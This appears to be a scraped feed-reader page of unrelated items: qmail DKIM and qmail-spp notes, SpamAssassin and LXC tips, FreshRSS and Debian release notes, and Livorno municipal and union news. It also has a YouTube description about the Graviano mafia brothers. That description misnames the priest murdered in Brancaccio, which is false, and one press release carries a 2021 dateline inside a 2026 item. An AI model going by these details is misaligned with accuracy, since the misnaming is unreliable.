  • Jan 25, 2026
    - Domain's users listed alphabetically by domain and username #2 451da48
    - Dropped simsizelimit control file 868b8b2
  • Dec 06, 2024
    - added a patch to highlight users with restrictions and with admin privileges (PR #1, thanks Bai Borko)
    - added control files notlshosts_auto and tlsserverciphers

Configurazione di DKIM per qmail

21 Maggio 2026 ore 04:31

Questa pagina riguarda la patch DKIM inclusa nella mia patch combinata (maggiori informazioni qui). Questo argomento è avanzato ed è consigliabile tornare qui alla fine del tutto.

DKIM fornisce un metodo per validare l'identità di un nome a dominio associato a un messaggio con una autenticazione crittografata. La tecnica di validazione è basata sulla crittografia di una chiave pubblica: Il server che invia l'email aggiunge il nome a dominio al messaggio e vi affigge una firma digitale. Questa chiave è posta nell'intestazione DKIM-Signature: del messaggio. Colui che riceve il messaggio può controllare la validità della chiave pubblica leggendo un record TXT del DNS del dominio associato al messaggio.

Sei invitato a dare un'occhiata alle pagine man a partire da qmail-dkim(8) e spawn-filter(8).

Changelog

  • Jan 29, 2026
    - Bug fix for verifying multiple DKIM signatures (second one always failed due to a DNS lookup bug). tx Andreas Gerstlauer
  • Jul 10, 2025
    added ERROR_FD=2 in control/filterargs to send error output of qmail-dkim in stderr when acting as a qmail-remote filter (Andreas Gerstlauer)
  • Feb 12, 2024
    - v. 1.48: fixed minor bug using filterargs for local deliveries (commit)
  • Feb 6, 2024
    -DKIM patch upgraded to v. 1.47
    * fixed a bug which was preventing filterargs' wildcards to work properly on sender domain
  • Jan 11, 2024
    - version 1.46
    * dk-filter.sh has been dropped. If signing at qmail-remote level, before upgrading, you have to review the configuration as explained below.
    * The variables USE_FROM, USE_SENDER and DKIMDOMAIN have been dropped
    * when signing at qmail-remote level qmail-dkim now has to be called directly by spawn-filter in the rc file. man spawn-filter for more info
    * In case of bounces the signature will be automatically based on the from: field. This will solve issues of DMARC reject by google in case of sieve/vacation bounces.
    * In case of ordinary bounces (mailbox not found, for instance) the bounce domain will be taken from control/bouncehost and, if doesn't exist, from control/me
  • Jan 4, 2024
    - patch upgraded to v. 1.44
    * fixed an issue with filterargs where spawn-filter is trying to execute remote:env xxxxx.... dk-filter. This issue happens when FILTERARGS environment variable is not defined in the qmail-send rc script.
    * dkim.c fix: https://notes.sagredo.eu/en/qmail-notes-185/configuring-dkim-for-qmail-92.html#comment3668 
    * adjustments fo dk-filter and dknewkey man pages
  • Nov 20, 2023
    * The patch now by default excludes X-Arc-Authentication-Results
    * dkim can additionally use the environment variable EXCLUDE_DKIMSIGN to include colon separated list of headers to be excluded from signing (just like qmail-dkim). If -X option is used with dk-filter, it overrides the value of EXCLUDE_DKIMSIGN.
  • Feb 19, 2023 (v. 1.37 upgrade)
    - ed25519 support​ (RFC 8463)
    - multiple signatures/selectors via the enhanced control/dkimkeys or DKIMSIGNDKIMSIGNEXTRADKIMSIGNOPTIONS  DKIMSIGNOPTIONSEXTRA variables
    - domainkey script replaced by dknewkey in order to create ed25519 keys and rsa keys with 1024/2048/4096 bit
    - dropped yahoo's domainkeys support (no longer need the libdomainkeys.a library)
    - man pages revised and enhanced
    - domainkeys directory moved to /var/qmail/control/domainkeys
    - the documentation in this page has been revised. You can find how to sign with the rsa key together with the ed25519 key below.

Playing with qmail-spp

21 Maggio 2026 ore 04:31

qmail-spp provides plug-in support for qmail-smtpd. It allows you to write external programs and use them to check SMTP command argument validity. The plug-in can trigger several actions, like denying a command with an error message, logging data, adding a header and much more.

  • Author: Pawel Foremski
  • More info here

Today I played for the first time with an ancient patch for qmail: qmail-spp. I was really impressed for the ease of use and the elegance of its code, which is inserted inside qmail-smtpd.c with a few touches, despite of the many things that it can do when installed and enabled.

It can run a custom plugin in any language and at any level of the smtp session, grabbing the environment variables, writing into stderr or blocking the smtp session with a return error for the sender.

In no time at all I managed to understand its logic and write a small plugin by adapting a c program I wrote for s/qmail a few months ago to check the validity of the recipient.

Of course I decided to add this patch to my combo. I've just modified the way it has to be enabled, just not to bother those who don't want to touch their run scripts. So, while the original patch is enabled by default, I modified things a little bit so that you have to manually enable it by exporting the variable ENABLE_SPP in your run scripts. Therefore the original NOSPP variable is useless.

Have fun!

Script e cronjob per il sistema di learning e reporting di Spamassassin

21 Maggio 2026 ore 04:31

Ora che abbiamo preparato i filtri antispam dobbiamo addestrare il nostro sistema bayesiano e inviare i report a Razor, Pyzor e Spamcop.

La cosa più ovvia che può venirci in mente di fare a questo punto è forse quella di lanciare sa_learn e spamassassin --report uno dopo l'altro al click sul bottone "Marca come Spam" della webmail Roundcube (vedere i driver cmd_learn e multi_driver del plugin markasjunk), ma questa scelta ha alcuni svantaggi importanti:

  • il processo di addestramento, la conseguente sincronizzazione del journal e la connessione ai vari network per il reporting può richiedere anche una decina di secondi, un tempo che i nostri utenti non sono disposti ad attendere.
  • cosa anche più grave, quando essi cliccano sul bottone "Marca come Spam" non è sempre detto che si tratti di un vero messaggo di posta indesiderata. Prendiamo ad esempio il classico caso delle newsletter a cui si sono regolarmente iscritti e che non vogliono più leggere, e che decidono di eliminare etichettandole come spamming anzichè inoltrare una regolare richiesta di cancellazione.

E' qundi più corretto eseguire questi due compiti durante la notte per mezzo di un cronjob (primo problema risolto), processando i soli messaggi di vero spam/ham che l'utente ha consapevolmente copiato in una cartella apposita (secondo problema).

Migrating from Linux-VServer to LXC (Slackware)

21 Maggio 2026 ore 04:31

Tired of the nightmares of remotely compiling the kernel with Linux-VServer, a software that I'm pleased with despite of some lack of documentation, these days I was playing with LXC, which is included and supported by Slackware and for which the Linux kernel doesn't need any patching because it already embeds the hacks for LXC containers.

To convert an existing Linux-VServer container in a (eventually unprivileged) LXC container you can follow these steps. I assume that you already know  how to create an LXC container; in case you are interested in unprivileged containers take a look to the excellent Chris Willing's guide (a big thanks to him) linked below.

More info:

Bye bye Drupal

21 Maggio 2026 ore 04:31

Era ora che riuscissi a liberarmi della vecchia piattaforma Drupal come strumento per questo blog, ma finalmente ho trovato il tempo per migrare il database di Drupal e per riprendere qui la vecchia grafica (solo lo stile, il codice html è mio).

D'altronde, da almeno 15 anni porto avanti lo sviluppo di un mio CMS (basato su php/mariadb), che però originariamente non avevo usato per la mancanza del tempo necessario a costruirmi un tema html.

Ora il sito vive in ambiente Mobile Responsive e soprattutto mi consente di svincolarmi dagli incubi degli aggiormanti di Drupal e dei suoi pacchetti.

La parte sui commenti del presente CMS non è perfettamente collaudata e mi farebbe piacere avere eventualmente dei feedback su ogni problematica, quindi non esitate a scrivermi al riguardo.

Buon divertimento!

FreshRSS 1.29.1

20 Maggio 2026 ore 19:58

This is bug-fix release for 1.29.0.

Feature highlights✨:

  • Accept .txt import of feed URLs in additional to e.g. OPML
  • New CLI for automatic periodic SQLite export with retention
  • More feed info: last received date, publication date

Bug fixes highlights 🐛:

  • Fix cookies with some browsers
  • Fix search in shared user queries with empty results

UI highlights 🖼:

  • Improve Web browsers compatibility

This release has been made by @Alkarex, @Frenzie, @IEEE-754, @Inverle, @McFev, @ciro-mota, @cweiske, @polybjorn and newcomer @mzl2233

Full changelog:

  • Features
    • Accept .txt import of feed URLs in additional to e.g. OPML #8818, #8837
    • New CLI for automatic periodic SQLite export with retention #8819
    • More feed info: last received date, publication date #8799
  • Bug fixing
    • Fix cookies with some browsers #8867
    • Fix search in shared user queries with empty results #8863
    • Fix XML errors with loading invalid OPML in lib_opml library #8652, #8853,
      lib_opml#48, lib_opml#51
    • Fix ensure maximum number of feeds also with Dynamic OPML #8832
    • Fix click mark as read #8817
  • UI
    • Improve browser compatibility to keep mobile navigation at the bottom #8833
    • Improve support of older/simpler Web browsers/engines such as SeaMonkey #8810,
      #8811, #8813,
    • Improve Swage theme #8842
    • Rename Nord theme to Nord #8805
    • Replace GIF spinner by CSS spinner #8804, #8812
    • Various UI and style improvements: #8800, #8816,
  • I18n
    • Improve Brazilian Portuguese #8846
    • Improve Dutch #8868
    • Improve German #8840
    • Improve Polish #8854
    • Improve Russian #8861
    • Improve Traditional Chinese #8849
  • Misc.

Gary Benson: Docker images by age or size

19 Maggio 2026 ore 12:58

Files by age, newest first:

ls -lt

Docker images by age, newest first:

docker images --format "{{.CreatedAt}}\t{{.Repository}}:{{.Tag}}" | sort -r

Files by size, largest first:

ls -lS

Docker images by size, largest first:

docker images --format "{{.Size}}\t{{.Repository}}:{{.Tag}}" | sort -rh

Why why why??!

L’archiv((i))o di Indymedia Italia

di: void
20 Maggio 2026 ore 09:57

Alcune storie possono essere raccontate, più o meno fedelmente, ma la memoria può giocare brutti scherzi. Nel caso di Indymedia Italia, https://italy.indymedia.org, è invece possibile, se pure con alcuni limiti, verificare direttamente – anche a distanza di 20 e più anni – i contenuti di un sito attivo dal 2001 al 2006, quando sospese la sua attività a favore di altri siti, locali e regionali, fino alla progressiva chiusura.

Quella che trovate qui è una copia di archivio realizzata da noi nel 2021 in occasione del ventennale di Genova G8, quando fu allestita una installazione temporanea del sito.

La piattaforma ha utilizzato due diversi software: Catalyst CMS dal 2001 al 2003, e SF-Active dal 2003 al 2006. La versione conservata qui è la seconda, quella basata su SF-Active e quindi l’aspetto grafico delle pagine è diverso da quello visibile durante le giornate del luglio 2001. L’archivio è navigabile ma statico: fotografa lo stato del sito nel 2006 e ovviamente non consente modifiche o pubblicazione di nuovi contenuti.

Per la natura tecnologica di questo tipo di archivi questa è una copia incompleta, non sono archiviati e visitabili tutti i link verso risorse esterne e molte pagine o contenuti di esse potrebbero non essere visibili.

È disponibile un motore di ricerca, che permette di ricercare i testi delle pagine, e filtrare per data.

Ulteriormente stiamo curando una raccolta di pubblicazioni (libri, articoli di riviste, tesi, siti) che hanno indagato la storia, le pratiche e l’eredità politica di Indymedia.

Il nostro collettivo aveva partecipato attivamente al progetto Indymedia, contribuendo alla sua crescita. La nostra attitudine — mutuata dalle sottoculture hacker e fondata sui principi di condivisione, apertura, valorizzazione delle differenze e desiderio di sperimentare tecniche e linguaggi — aveva reso possibile un radicale esperimento collettivo di autogestione.

Raccolta rifiuti: servizi attivi nella festività del 22 maggio

18 Maggio 2026 ore 11:57

Prevista solo una modifica nell’area Livorno Est

AAMPS conferma che in occasione della festività di venerdì 22 maggio prossimo il servizio di raccolta dei rifiuti si svolgerà regolarmente. È previsto solo un cambiamento negli itinerari di interesse per gli abitanti dell’area Livorno Est.

Ecco il dettaglio suddiviso per Aree valido per la raccolta nel giorno di Santa Giulia:

Area Livorno Nord
Il calendario ordinario non prevede il servizio di raccolta il venerdì.

Area Sant’Jacopo Marradi
Carta-cartone: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Area Vittoria Stazione Zola
Indifferenziato: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Area Livorno est
Organico: servizio anticipato alla mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Area Picchianti – Porta a Terra
Il calendario ordinario non prevede il servizio di raccolta il venerdì.

Area Ardenza – La Rosa
Organico: servizio attivo la mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Livorno Sud
Multimateriale: servizio attivo la mattina (esposizione del materiale dalle ore 21.00 di giovedì alle 5.00 del giorno di raccolta).

Area Pentagono
Carta-cartone: servizio attivo la sera (esposizione del materiale dalle ore 19.30 alle 20.00).

Tutti i contenitori stradali presenti nelle aree “Pentagono” e “Centro Allargato” saranno regolarmente vuotati.

Il Centro di raccolta “Livorno Sud” e il “Centro del riuso creativo” saranno chiusi venerdì e riapriranno il giorno seguente.

Ringraziamo i cittadini per la consueta collaborazione. Per ulteriori informazioni: 800-031.266, info@aamps.livorno.it, facebook/instagram/APP (“AAMPS Livorno”).

L'articolo Raccolta rifiuti: servizi attivi nella festività del 22 maggio proviene da Aamps Livorno.

Lotta delle lavoratrici, primi risultati, lunedì 18 sciopero con adesione altissima, nidi chiusi e oggi incontro in comune a Pisa

20 Maggio 2026 ore 09:27

Lunedì 18 lo sciopero delle lavoratrici e dei lavoratori degli asili nido ha registrato un’adesione altissima, portando alla chiusura di numerosi nidi e dimostrando con forza quanto fossero reali le criticità denunciate sul nuovo bando.
La mobilitazione e la pressione esercitata in questi giorni hanno prodotto oggi, nell’incontro in Comune a Pisa, un primo risultato concreto: è stata formalizzata un’integrazione al bando che chiarisce finalmente il monte ore del servizio. Si passa ufficialmente da 241 ore + 8% a 260 ore + 8% di lavoro non frontale, riconoscendo una parte essenziale del lavoro educativo troppo spesso invisibilizzata e lasciata nell’incertezza.
Un primo risultato importante, conquistato grazie alla lotta collettiva di lavoratrici e lavoratori. Ma la mobilitazione non finisce qui: continueremo a lottare per risolvere le criticità ancora presenti nel lavoro pubblico esternalizzato e per garantire diritti, dignità del lavoro e qualità dei servizi pubblici.

Unione Sindacale di Base Federazione di Pisa

Deiezioni liquide: da domani obbligo di rimuoverle

19 Maggio 2026 ore 16:49

Comunicato a cura dell’uff. Stampa del Comune di Livorno.

Livorno, 19 maggio 2026 – Da domani, mercoledì 20 maggio, sarà in vigore a Livorno l’ordinanza che obbliga i proprietari e i detentori di cani a rimuovere con acqua le deiezioni  liquide degli animali nelle aree pubbliche e di uso pubblico.

L’ordinanza, della quale ha parlato la stampa italiana e straniera, avrà una durata di cinque mesi e terminerà il 31 ottobre in vista poi di introdurre questo provvedimento all’interno di regolamento comunale che estenderà l’obbligo a tutto l’anno.
In pratica sarà obbligo munirsi di appositi contenitori d’acqua da utilizzare per l’immediata rimozione delle deiezioni liquide depositate su superfici pavimentate e su altri spazi di arredo urbano, e sui mezzi di locomozione (ad esempio ruote di macchine o di scooter) parcheggiati sulla pubblica via.

È inoltre fatto assoluto divieto di consentire ai cani di urinare a ridosso di portoni e vetrine ed accessi ad abitazioni, uffici e negozi.
Lo ha stabilito appunto l’Amministrazione comunale con l’ordinanza sindacale n. 135 del 28 aprile 2026, emanata a seguito delle numerose segnalazioni pervenute da parte di cittadini che evidenziano il disagio determinato dalle maleodoranze e gli inconvenienti igienico-sanitari derivanti dalla presenza di deiezioni liquide animali sugli spazi destinati alla socializzazione di adulti e bambini, visto anche il notevole e crescente numero di animali d’affezione, in particolare cani, presenti sul territorio comunale.
Il provvedimento è stato al centro di una conferenza stampa alla quale hanno partecipato: la vicesindaca con delega alla Tutela Animali Libera Camici, l’assessora con Delega al Decoro Urbano Giovanna Cepparello, la garante degli animali Elisa Amato, la dirigente del Settore Manutenzioni e Cura della Città Silvia Borgo, la dirigente settore Istruzione, Giovani, Partecipazione e Tutela Animale Michela Casarosa,  la responsabile dei Servizi Territoriali della Polizia Municipale Michela Pedini, la funzionaria Barbara Saliva, il responsabile del Decoro Urbano di Aamps/Retiambiente Andrea Valenti, la guardia zoofila dell’Oipa Giuliano Morelli.

Per quanto riguarda le deiezioni solide, gli articoli 31 e 32 del vigente Regolamento Comunale sulla Tutela degli Animali (la cui ultima modifica risale al 2018) prescrivono l’obbligo di rimuoverle immediatamente a chi accompagna i cani nelle zone pedonali e nelle aree verdi, comprese quelle di libera circolazione dei cani, nei giardini e nei parchi, negli esercizi pubblici, commerciali e nei locali ed uffici aperti al pubblico, utilizzando mezzi idonei alla rimozione, da mostrare su richiesta del Pubblico Ufficiale, a pena di sanzione secondo quanto previsto dall’art. 42 dello stesso Regolamento.
Il Regolamento attuale non prevede però analoga norma per quanto attiene alle deiezioni liquide.
Nelle more di una modifica alla regolamentazione comunale vigente, l’ordinanza 135/2026 adotta misure atte a prevenire e contenere tali fenomeni, per tutto il periodo più critico dal punto di vista climatico. Il significativo aumento delle temperature che si verifica in primavera-estate, associato a una diminuzione delle precipitazioni, incide infatti anche sulla salubrità e sul decoro degli spazi urbani, anche in conseguenza della maggiore evaporazione di liquidi organici dalle superfici pavimentate.
Nello specifico, il testo integrale dell’ordinanza n. 135 impone, dal 20 maggio al 31 ottobre, a tutti i possessori o detentori a qualsiasi titolo di cani, anche se incaricati temporaneamente della loro custodia o conduzione:
• di munirsi, durante l’accompagnamento dei cani, di apposite bottigliette, spruzzatori o altri contenitori d’acqua, senza aggiunta di sostanze chimiche o detergenti, da versare all’occorrenza;
• di riversare una congrua quantità di acqua in corrispondenza del punto interessato dalle deiezioni liquide dei cani ai fini della loro diluizione e della ripulitura delle superfici interessate, su tutte le aree urbane pubbliche o ad uso pubblico e relativi manufatti e sulle aree private che si affacciano su aree pubbliche o ad uso pubblico, nonché sui mezzi di locomozione parcheggiati sulla pubblica via;
• è fatto divieto assoluto di consentire ai cani di urinare a ridosso dei portoni di ingresso e degli accessi ad abitazioni, uffici e negozi e vetrine.
L’inosservanza di queste disposizioni comporta l’applicazione di una sanzione amministrativa pecuniaria da 25 a 500 euro, ai sensi dell’art. 7-bis del D. Lgs. 267/2000.
Rimane comunque a carico del trasgressore il ripristino dei luoghi.

Gli interventi

La Vicesindaca ha introdotto l’ordinanza sottolineando la sua grande risonanza mediatica, anche a livello internazionale.
“Lo scopo principale non è punitivo, ma mira a elevare lo standard di igiene e decoro delle strade, dei marciapiedi e degli arredi urbani. Livorno conta circa 20.000 cani, un numero consistente che richiede responsabilità da parte dei proprietari per garantire una convivenza civile. La mancanza di rispetto delle regole da parte di una minoranza danneggia il lavoro degli operatori, dei proprietari responsabili e limita la fruibilità degli spazi pubblici, come i parchi, specialmente per i bambini”.
La Vicesindaca ha inoltre ricordato che l’Amministrazione ha rimosso i divieti di accesso ai cani in molti parchi per favorire le famiglie, ma avverte che, “se le segnalazioni di sporcizia e cani senza guinzaglio continueranno, potrebbero essere reintrodotte limitazioni”.
Ha inoltre ricordato il protocollo d’intesa con le guardie zoofile dell’OIPA, che hanno il potere di elevare sanzioni insieme alla Polizia Locale.

L’Assessora  Cepparello ha parlato degli aspetti pratici e sociali del provvedimento sottolineando come l’ordinanza nasca anche per tutelare le persone con disabilità motoria, che spesso sporcano i propri ausili (sedie a rotelle) sui marciapiedi non puliti, portando poi lo sporco in casa. “I proprietari dei cani devono munirsi di bottigliette o spruzzatori con semplice acqua (senza sapone) da usare sui punti interessati dalle deiezioni liquide”. Ha ricordato il divieto assoluto di far urinare i cani ridosso di portoni, accessi ad abitazioni. “Si è optato per un’ordinanza, per agire tempestivamente prima dell’estate, quando il calore accentua i cattivi odori. L’ordinanza prevede una scadenza, ma recepiremo questo provvedimento all’interno di un regolamento in modo che l’obbligo delle bottigliette diventi permanente in tutte le stagioni e i mesi dell’anno. Il Comune non può lavare quotidianamente centinaia di chilometri di strade e  la collaborazione dei cittadini è strategica”.

La Garante degli Animali ha posto l’accento sulla salute pubblica e sulla sicurezza nei parchi. Ha evidenziato che le deiezioni non raccolte contengono batteri e parassiti pericolosi per gli animali e soprattutto per i bambini che giocano nei prati. Ha citato situazioni di particolare degrado riscontrate nella zona di San Jacopo e vicino alla Baracchina Bianca, “dove i muri sono sporchi e i marciapiedi pieni di deiezioni solide”. Ha richiamato l’obbligo del guinzaglio nei luoghi pubblici, denunciando episodi di maleducazione subiti quando ha cercato di far rispettare questa norma. Infine ha esortato i cittadini a un maggiore rispetto per l’ambiente e per la città, sottolineando che il decoro urbano è un dovere di ogni proprietario.

Andrea Valenti, responsabile Decoro Urbano AAMPS/Retiambiente ha affermato: “Aamps si muove su due versanti: pulizia e sensibilizzazione al cittadino. In entrambi i casi abbiamo favorito un potenziamento dei servizi, pertanto forniamo un contributo determinante alla cura della città anche per contrastare il fenomeno dell’abbandono delle deiezioni canine. Siamo anche prossimi all’acquisto di 100 contenitori dedicati che avranno una bocca di ingresso dei sacchini molto piccola e, pertanto, non potranno essere utilizzati impropriamente per l’inserimento di sacchi invece destinati alla raccolta dei rifiuti. Nel mese di giugno provvederemo all’installazione presso le aree di sgambatura dei cani, i parchi pubblici e nelle zone che, dalle segnalazioni pervenute, risultano più soggetto a questa tipologia di abbandono”.

L'articolo Deiezioni liquide: da domani obbligo di rimuoverle proviene da Aamps Livorno.

Fratelli Graviano: Brancaccio, le Stragi e il Tradimento di Messina Denaro

18 Maggio 2026 ore 21:17

💾

Chi erano davvero i fratelli Graviano e perché il loro nome è indissolubilmente legato alle stragi più sanguinarie di Cosa Nostra? Giuseppe e Filippo Graviano guidarono uno dei clan più spietati di Palermo — e qualcuno, alla fine, li tradì dall'interno.

I fratelli Graviano controllavano il quartiere di Brancaccio con il pugno di ferro: dal traffico di droga agli omicidi eccellenti, fino al ruolo centrale nella strategia stragista dei primi anni '90. Il loro legame con Matteo Messina Denaro e l'ipotesi del tradimento dopo il loro arresto nel 1994 rimangono uno dei misteri irrisolti di Cosa Nostra.

Cosa trovi in questo video:
✔️ Le origini del clan Graviano e il dominio criminale di Brancaccio a Palermo
✔️ L'omicidio di Padre Michele Pezzuto: un delitto che scosse la Sicilia
✔️ Il ruolo dei Graviano nella strategia stragista di Cosa Nostra negli anni '90
✔️ I legami tra i fratelli Graviano e il boss latitante Matteo Messina Denaro
✔️ L'arresto del 1994: cosa successe e chi tradì i due boss di Brancaccio
✔️ Le lotte di potere interne a Cosa Nostra tra omicidi, intrighi e vendette

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Bilanci in utile delle cinque aziende partecipate del Comune di Livorno

18 Maggio 2026 ore 16:49

Comunicato a cura dell’uff. Stampa del Comune di Livorno.

Raggiunge i 208 milioni il valore totale della
produzione

Livorno, 18 maggio 2021 – Negli ultimi anni le società partecipate del Comune
di Livorno hanno consolidato risultati positivi sotto il profilo economico,
gestionale e della qualità dei servizi erogati ai cittadini, confermando il valore
strategico del sistema pubblico locale e la capacità delle aziende di affrontare le
sfide dell’innovazione, della sostenibilità e dell’efficienza amministrativa.

Il quadro che emerge dai bilanci evidenzia una crescita costante della solidità
patrimoniale e organizzativa di realtà fondamentali per il territorio come
Esteem Srl, Casalp Spa, AAMPS Spa, Farma.Li Srl e ASA Spa. I bilanci 2025,
alcuni dei quali in corso di approvazione in questi giorni ed entro il 30 giugno,
come previsto dal Codice Civile, non fanno eccezione, ma anzi confermano
questo trend positivo.

In particolare, AAMPS Spa ha registrato bilanci in utile negli ultimi cinque
esercizi, confermando il raggiungimento di un equilibrio economico e
finanziario stabile dopo il percorso di risanamento completato negli anni
precedenti.

Anche Casalp Spa ha dimostrato un consolidamento del ruolo operativo svolto
per i Comuni dell’area livornese ed in particolare si è distinta in questi anni per
le azioni di recupero delle morosità e per la capacità di guidare, su un tema
complesso ed attuale come quello dell’abitare, politiche finalizzate a gestire un
ambito che è sempre più lontano dalla gestione patrimoniale e sempre più
vicino a quello sociale.

Positivi anche i segnali provenienti da ASA Spa, che continua a rappresentare
un presidio essenziale per lo sviluppo infrastrutturale e ambientale del
territorio, mantenendo elevati standard di servizio e una struttura societaria
solida.

Crescita significativa anche per Esteem Srl, realtà attiva nei servizi informatici,
nel supporto alla gestione dei tributi comunali e nella gestione della sosta a
pagamento, che negli ultimi esercizi ha registrato un incremento del fatturato e
dell’occupazione, rafforzando il proprio ruolo di supporto tecnologico alla
pubblica amministrazione locale, confermando di essere una struttura in
espansione e capace di innovare i servizi digitali rivolti ai cittadini.

Importanti risultati sono stati raggiunti inoltre da Farma.Li Srl, con i propri
bilanci che negli ultimi anni evidenziano una gestione economica positiva e un
progressivo rafforzamento della capacità finanziaria dell’azienda. Farma.Li ha
proseguito il percorso di ammodernamento delle farmacie comunali, puntando
sulla qualità dell’assistenza, sulla prossimità territoriale e sull’innovazione dei
servizi sanitari e socioassistenziali.

Nel complesso, il sistema delle partecipate del Comune di Livorno conferma
dunque una traiettoria positiva, caratterizzata da investimenti, equilibrio
economico e miglioramento della qualità dei servizi pubblici locali. Un
patrimonio amministrativo e industriale che rappresenta un elemento
strategico per la crescita della città, per la tutela dell’interesse pubblico e per la
capacità del territorio di affrontare con solidità le sfide future.

Il sindaco Luca Salvetti ha aperto l’incontro sottolineando come le società
partecipate siano uno strumento imprescindibile per la gestione della città e dei
servizi ai cittadini. “Abbiamo lavorato sette anni sulla riorganizzazione e
l’aumento del personale, presentando numeri eloquenti, lo dimostrano i bilanci
in utile. Tutte e cinque le società principali (ASA, AMS, Farmali, Casalp e
Steam) hanno chiuso l’anno in positivo.
Il valore complessivo della produzione è di 208 milioni di euro, con un
incremento di 29 milioni rispetto al 2019.
Le aziende hanno raggiunto quota 1143 di personale con un aumento di 193
unità rispetto al 2019, diventando la terza realtà lavorativa del territorio dopo
l’ASL e il Comune stesso”.

L’Assessora al Bilancio con delega alle Società Partecipate Viola Ferroni ha
ringraziato l’Ufficio Società Partecipate, che ha definito la “spina dorsale” dei
risultati ottenuti. “Ribadisco l’importanza della governance pubblica per
perseguire obiettivi di interesse collettivo, andando oltre il semplice dato di
bilancio. Farmali ha concentrato il focus sulla vicinanza ai cittadini ed alla
ristrutturazione delle farmacie. Casalp ha ottenuto buoni risultati nel recupero
crediti e nell’efficientamento degli alloggi. Esteem ha incrementato i servizi,
inclusa la recente gestione della sosta a pagamento. Aamps ha raggiunto la
stabilità dopo un passato complicato che ha fatto “tribolare”
l’Amministrazione”.

Il direttore generale del Comune Nicola Falleni ha evidenziato il superamento
delle storiche criticità finanziarie delle partecipate: “che in passato
rappresentavano un “neo” nel bilancio comunale” ed ha fornito i dati del
bilancio consolidato 2024.

“Il “gruppo” (Comune + aziende) conta oltre 2.200 dipendenti. Valore della
produzione totale: quasi 570 milioni di euro. Utile consolidato: circa 14 milioni
di euro. Patrimonio netto: 763 milioni di euro”.

Aldo Iacomelli, Amministratore Unico AAMPS/Retiambiente ha dichiarato:
“Presenti e affidabili: con questi due aggettivi e in estrema sintesi sono nella
possibilità di descrivere la nostra azienda nel panorama delle municipalizzate
locali. Ogni giorno contribuiamo al decoro urbano con grande impegno e sforzo
da parte dei nostri operatori garantendo l’erogazione di servizi efficienti fin
dalle primissime ore della mattina sia sul versante della raccolta sia su quello
dello spazzamento. É importante sottolineare che per l’anno 2025 ci avvaliamo
di un utile di bilancio di 252mila euro. Un risultato che reputiamo importante
da affiancare all’evidenza di non avere registrato debiti. Siamo quindi orgogliosi
per quanto stiamo riuscendo complessivamente a fare, con uno sguardo di
ulteriore fiducia anche sul versante operativo essendo prossimi a realizzare,
avvalendoci anche di finanziamenti da parte della Regione Toscana, di due
ulteriori centri di raccolta per il corretto conferimento dei rifiuti dei cittadini. A
breve lanceremo anche una campagna di comunicazione rivolta a tutta la
cittadinanza per stringere ulteriormente il patto con i cittadini nel contrastare il
fenomeno degli abbandoni e aumentare le migliori azioni per la riduzione nella
produzione dei rifiuti indifferenziati, per la quale stiamo già registrando risultati
lusinghieri”.

Claudio Puccetti, amministratore unico di Farmali ha definito l’azienda con gli
aggettivi “tranquillo” e “partecipativo”.
Ha sottolinea il buon clima lavorativo tra i 60 dipendenti distribuiti su 9
farmacie. Ha messo in risalto la totale autonomia finanziaria della società, “che
permette di autofinanziare gli investimenti (come le ristrutturazioni di varie
farmacie) senza ricorrere a finanziamenti esterni.L’obiettivo futuro è spostare
la missione del farmacista sempre più verso i servizi di telemedicina”.

Marcello Canovaro presidente di Casalp ha utilizzato gli aggettivi “rigoroso” e
“partecipato” per definire il bilancio della società.
“La società ha superato pesanti difficoltà iniziate nel 2019 e ora chiude il
bilancio in positivo. Casalp non punta all’utile, ma a reinvestire ogni risorsa nel
mantenimento del patrimonio e in nuovi edifici.
Negli ultimi tre anni sono stati investiti oltre 50 milioni di euro nella provincia e
messi a disposizione degli assegnatari 592 appartamenti precedentemente
sfitti”.

Stefano Taddia presidente di Asa sceglie gli aggettivi “collettivo” e “sostenibile”.
Esprime orgoglio per i 56,7 milioni di euro di investimenti effettuati nell’ultimo
anno, segnando un +150% rispetto al 2020.
Sottolinea come l’efficienza delle società di servizio pubblico sia un elemento
fondamentale per la sostenibilità e il benessere del territorio.

Antonio Paladini amministratore unico di Esteem descrive l’azienda come
“consolidata” e “visionaria”.
Riporta una crescita enorme negli ultimi 12 anni: “il personale è passato da 9 a
40 dipendenti e il fatturato è salito da circa 450.000 euro a quasi 2 milioni di
euro. L’azienda si è evoluta accettando servizi nuovi e diversi, come la gestione
dei parcheggi, mantenendo però un’anima orientata all’innovazione informatica
per il futuro dei servizi ai cittadini”.

Il Sindaco ha concluso la conferenza stampa ringraziando gli Uffici Comunali e i
due assessori che si sono succeduti nella gestione delle partecipate, Gianfranco Simoncini e Viola Ferroni.

L'articolo Bilanci in utile delle cinque aziende partecipate del Comune di Livorno proviene da Aamps Livorno.

Updated Debian 12: 12.14 released

16 Maggio 2026 ore 02:00
The Debian project is pleased to announce the fourteenth update of its oldstable distribution Debian 12 (codename bookworm). This point release mainly adds corrections for security issues, along with a few adjustments for serious problems. Security advisories have already been published separately and are referenced where available.

Updated Debian 13: 13.5 released

16 Maggio 2026 ore 02:00
The Debian project is pleased to announce the fifth update of its stable distribution Debian 13 (codename trixie). This point release mainly adds corrections for security issues, along with a few adjustments for serious problems. Security advisories have already been published separately and are referenced where available.

GRAVE EPISODIO PRESSO L’ITL DI LIVORNO DURANTE UN TENTATIVO DI CONCILIAZIONE: I SINDACATI DENUNCIANO PRESSIONI E MINACCE DI LICENZIAMENTO

15 Maggio 2026 ore 11:00

Le Organizzazioni Sindacali USB Livorno e COBAS Lavoro Privato Livorno denunciano un fatto che ritengono estremamente grave, verificatosi in data 12 maggio 2026, presso la sede dell’Ispettorato Territoriale del Lavoro di Livorno, durante un tentativo di conciliazione tra la Cooperativa COOPLAT e cinque lavoratrici impiegate nell’appalto della committenza Unicoop Firenze presso il cantiere Fonti del Corallo – Via Gino Graziani - Livorno.

Il tentativo di conciliazione era stato richiesto dall’Organizzazione Sindacale al fine di sanare una situazione di applicazione irregolare dei turni che si protrae nel cantiere da anni, nonché per ottenere la regolarizzazione degli orari e la corretta applicazione del contratto di lavoro in essere.
